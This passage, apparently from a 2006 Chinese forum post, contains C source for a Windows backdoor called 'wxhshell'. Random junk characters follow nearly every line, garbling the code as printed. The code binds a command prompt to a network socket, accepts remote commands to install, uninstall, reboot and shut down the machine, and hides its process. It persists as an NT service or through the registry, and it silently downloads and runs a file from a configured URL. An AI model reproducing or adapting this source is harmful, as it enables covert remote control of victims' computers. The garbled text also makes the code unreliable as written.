  case 'i': { ?Qdp#K]WX  
    if(Install()) k80!!S=_>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dxF/]>t  
    else }*R.>jQ+Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S[L2vM)  
    break; O!.mc=Gx7  
    } Cd51. Sk(l  
  // 卸载 )0xEI  
  case 'r': { /7-qb^V  
    if(Uninstall()) .47tj`L   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }Q%fY&#(bp  
    else }doJ= lc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rhil]|a/  
    break; z]F4Z'(e.  
    } 7z4u?>pne*  
  // 显示 wxhshell 所在路径 O4w:BWVsn  
  case 'p': { ; #^Jy#)  
    char svExeFile[MAX_PATH]; }^ G&n';J  
    strcpy(svExeFile,"\n\r"); _HkB+D0v  
      strcat(svExeFile,ExeFile); B^sHFc""V  
        send(wsh,svExeFile,strlen(svExeFile),0); 9\[A%jp#K@  
    break;  gC}D0l[  
    } 'P5|[du+  
  // 重启 =| M[JPr  
  case 'b': { ."\&;:ZNv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -(YdK8  
    if(Boot(REBOOT)) 'hw_ew   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JdW:%,sv  
    else { 60St99@O  
    closesocket(wsh); Rooem dCM  
    ExitThread(0); kVu-,OU  
    } Al(u|LbQ  
    break; :i_k A'dl&  
    } /o=,\kM  
  // 关机 p$A`qx<M_  
  case 'd': { 95CCje{o _  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ViG4tb  
    if(Boot(SHUTDOWN)) a,U@ !}K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K;_.WzWD=  
    else { Obm@2;^g6  
    closesocket(wsh); ,0R2k `m!  
    ExitThread(0); M:OJL\0  
    } 9AROvq|#  
    break; I+^B] @"  
    } \XXS;  
  // 获取shell Z2dy|e(c  
  case 's': { RU^lR8;  
    CmdShell(wsh); [F< Tl =  
    closesocket(wsh); 3e.v'ccK&  
    ExitThread(0); bs_"Nn?  
    break; dQ4K^u  
  } uKZe"wN;  
  // 退出 H21\6 GY  
  case 'x': { <NO?B+ ~]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &JpFt^IHi  
    CloseIt(wsh); wbaXRvg  
    break; ceu}Lp^%/  
    } \4.U.pKY  
  // 离开 ToHCS/J59  
  case 'q': { wGC)gW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); kGZ_/"iuO  
    closesocket(wsh); (]mh}=:KDg  
    WSACleanup(); *0,?QS-a  
    exit(1); =Xc[EUi<;g  
    break; U-#t&yjh#  
        } O} !L;?  
  } =*YK6  
  } K"sfN~@rT[  
KR6*)?c`  
  // 提示信息 NgnHo\)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *L9s7RR  
} T$'GFA  
  } ?wR;"  
wxg`[c$:  
  return; RJ_ratKN*g  
} <(Wa8PY2(  
<M1XG7_I  
// shell模块句柄 g& *pk5V>  
int CmdShell(SOCKET sock) X]Emz"   
{ 3?vasL  
STARTUPINFO si;  |Aw(v6  
ZeroMemory(&si,sizeof(si)); Hize m!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7FVu [Qu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^#R-_I  
PROCESS_INFORMATION ProcessInfo; n NI V(  
char cmdline[]="cmd"; _ID2yJ   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4><b3r;T'  
  return 0; )CzWq}:  
} In0kP"  
K'%,dn  
// 自身启动模式 8E/]k\  
int StartFromService(void) <)zh2UI  
{ %TUljX K}  
typedef struct ! G%LYHx  
{ 8Us5Oi  
  DWORD ExitStatus; k})Ag7c  
  DWORD PebBaseAddress; 'A,&9E{%1  
  DWORD AffinityMask; R.R(|!w>  
  DWORD BasePriority; fz W%(.tc\  
  ULONG UniqueProcessId; 2FO.!m  
  ULONG InheritedFromUniqueProcessId; _1c'~;  
}   PROCESS_BASIC_INFORMATION; u!%]?MSc  
I'o9.B8%#  
PROCNTQSIP NtQueryInformationProcess; X9nt;A2TU+  
<GShm~XD2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j8@YoD5o  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L;xc,"\3  
yg "u^*r&  
  HANDLE             hProcess; Etj*3/n|  
  PROCESS_BASIC_INFORMATION pbi; A^JeB<, 5a  
<>f  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M%:ACLYP  
  if(NULL == hInst ) return 0; ' %OQd?MhL  
 y'Xg"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +7o3TA]-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w?.0r6j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8^zI  
+|Q8P?YD_  
  if (!NtQueryInformationProcess) return 0; /40Z-'Bl=(  
W;,.OoDc>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pN&Dpz^  
  if(!hProcess) return 0; g!7/iKj:  
DT(A~U<y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V5K!u8T  
?N#mD  
  CloseHandle(hProcess); _{,e-_hYM  
6Pl$DSu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ReP7c3D>p  
if(hProcess==NULL) return 0; tCK%vd%  
)KR9alf3  
HMODULE hMod; !5 %c`4  
char procName[255]; _p7c<$ ;  
unsigned long cbNeeded; p[&'*"o!/  
IQdiVj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D<}KTyG]  
oj@B'j  
  CloseHandle(hProcess); 5_M9T 3  
CIQo2~G  
if(strstr(procName,"services")) return 1; // 以服务启动 Hw<t>z k  
br<,?  
  return 0; // 注册表启动 ? YX2CJ6N  
} g!D?Yj4  
Bfaj4i ;_  
// 主模块 zp"sM z]  
int StartWxhshell(LPSTR lpCmdLine) kwK<?\D  
{ *gu~7&yoP  
  SOCKET wsl; cy?u *  
BOOL val=TRUE; Revc :m1o  
  int port=0; M'HmVg4'  
  struct sockaddr_in door; hp,bfcM  
Eti;(>"@  
  if(wscfg.ws_autoins) Install(); zXvAW7  
;-@^G 3C:  
port=atoi(lpCmdLine); w^NE`4 -  
`>'E4z]-_  
if(port<=0) port=wscfg.ws_port; -GCGxC2u  
>&e|ins^N  
  WSADATA data; W:b8m Xx  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <;+&`R  
N4}/n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Z|uUE   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e!ar:>T  
  door.sin_family = AF_INET; 4&r^mGs,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); UbJ_'>hK6  
  door.sin_port = htons(port); }!(cm;XA"  
0~R0)Q,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >Rjk d>K3  
closesocket(wsl); O@'/B" &  
return 1; \NS\>Q+d  
} S*IF/ fu  
]gHw;ry  
  if(listen(wsl,2) == INVALID_SOCKET) { %-i2MK'A  
closesocket(wsl); m /JpYv~  
return 1;  EP'2'51  
} B:a&)L wp0  
  Wxhshell(wsl); %[-D&flKC  
  WSACleanup(); $dgY#ST%  
'F?T4  
return 0; Qy*`s  
tV9nC   
} I/<aY*R4  
55 Y BO$  
// 以NT服务方式启动 {b"V7vn,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ((N<2G)  
{ C\j|+s  
DWORD   status = 0; c# U!Q7J  
  DWORD   specificError = 0xfffffff; ^|Of  
|(*ReQ?=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5<GC  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =" #O1$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V"#ie Y n  
  serviceStatus.dwWin32ExitCode     = 0; ),mKEpf  
  serviceStatus.dwServiceSpecificExitCode = 0; g599Lc&  
  serviceStatus.dwCheckPoint       = 0; vkOCyi?c  
  serviceStatus.dwWaitHint       = 0; x}i:nLhL  
\&`S~cV9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H.hF`n  
  if (hServiceStatusHandle==0) return; >>Z.]  
PR|F-/o  
status = GetLastError(); fDNiU"  
  if (status!=NO_ERROR) z^T/kK3I  
{ :&HrOdz  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _)yn6M'Dt  
    serviceStatus.dwCheckPoint       = 0; vXAO#'4tm%  
    serviceStatus.dwWaitHint       = 0; 6FiI\  
    serviceStatus.dwWin32ExitCode     = status; "H" 4(3  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;x$,x-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); WOrz7x  
    return; )AEJ` xC  
  } G?jKm_`L  
PF2PMEBx!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; M^AwOR7<  
  serviceStatus.dwCheckPoint       = 0; 3E$M{l  
  serviceStatus.dwWaitHint       = 0; %(MaH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Fc M  
} IC{\iwO/~c  
U}~SY  
// 处理NT服务事件,比如:启动、停止 Jajo!X*Wai  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }KEyJj3"DA  
{ b lP@Cn2  
switch(fdwControl) k(pI5N}pJZ  
{ X+z!?W*a  
case SERVICE_CONTROL_STOP: P hs4]!  
  serviceStatus.dwWin32ExitCode = 0; &q^\*<B.^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @#hd8_)A.  
  serviceStatus.dwCheckPoint   = 0; PTWP7A[  
  serviceStatus.dwWaitHint     = 0; [fiB!G ]?  
  { !1$Q Nxgi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }A\s`H m  
  } vxhs1vh  
  return; 7xTgG!>v  
case SERVICE_CONTROL_PAUSE: rU=qr&f"B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; brx 7hI  
  break; zc01\M  
case SERVICE_CONTROL_CONTINUE: jNhiY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; h.d-a/  
  break; y3 {'s>O6  
case SERVICE_CONTROL_INTERROGATE: r: ]t9y>$<  
  break; HT0VdvLw  
}; thy)J.<J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sG[v vm  
} T2<?4^xN  
{VtmQU? cJ  
// 标准应用程序主函数 cVYDO*N2T  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B +[ri&6X\  
{ /'k4NXnW3  
YRa{6*M  
// 获取操作系统版本 -c|dTZ8D)8  
OsIsNt=GetOsVer(); F7P?*!dx  
GetModuleFileName(NULL,ExeFile,MAX_PATH); KX D&FDkF  
M3P\1  
  // 从命令行安装 yB0xa%  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3tzb@T  
%Hx8%G!  
  // 下载执行文件 _uwM%M;  
if(wscfg.ws_downexe) { /~~aK2{^X~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) GOrDDp  
  WinExec(wscfg.ws_filenam,SW_HIDE); v EppkS U1  
} -< D7  
yw2Mr+9I  
if(!OsIsNt) { A#;6~f  
// 如果时win9x,隐藏进程并且设置为注册表启动 2[!#Xf  
HideProc(); g@0<`g  
StartWxhshell(lpCmdLine); ZeM~13[  
} ko<u0SjF)u  
else }MQNzaXY^  
  if(StartFromService()) ere h!  
  // 以服务方式启动 & \tD$g~"  
  StartServiceCtrlDispatcher(DispatchTable); =h5&:?X  
else g~E N3~  
  // 普通方式启动 7X 4/6]*  
  StartWxhshell(lpCmdLine); [A~n=m5H  
k{\wjaf)  
return 0; DwSB(O#X  
}
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只看该作者 1 发表于: 2006-10-10
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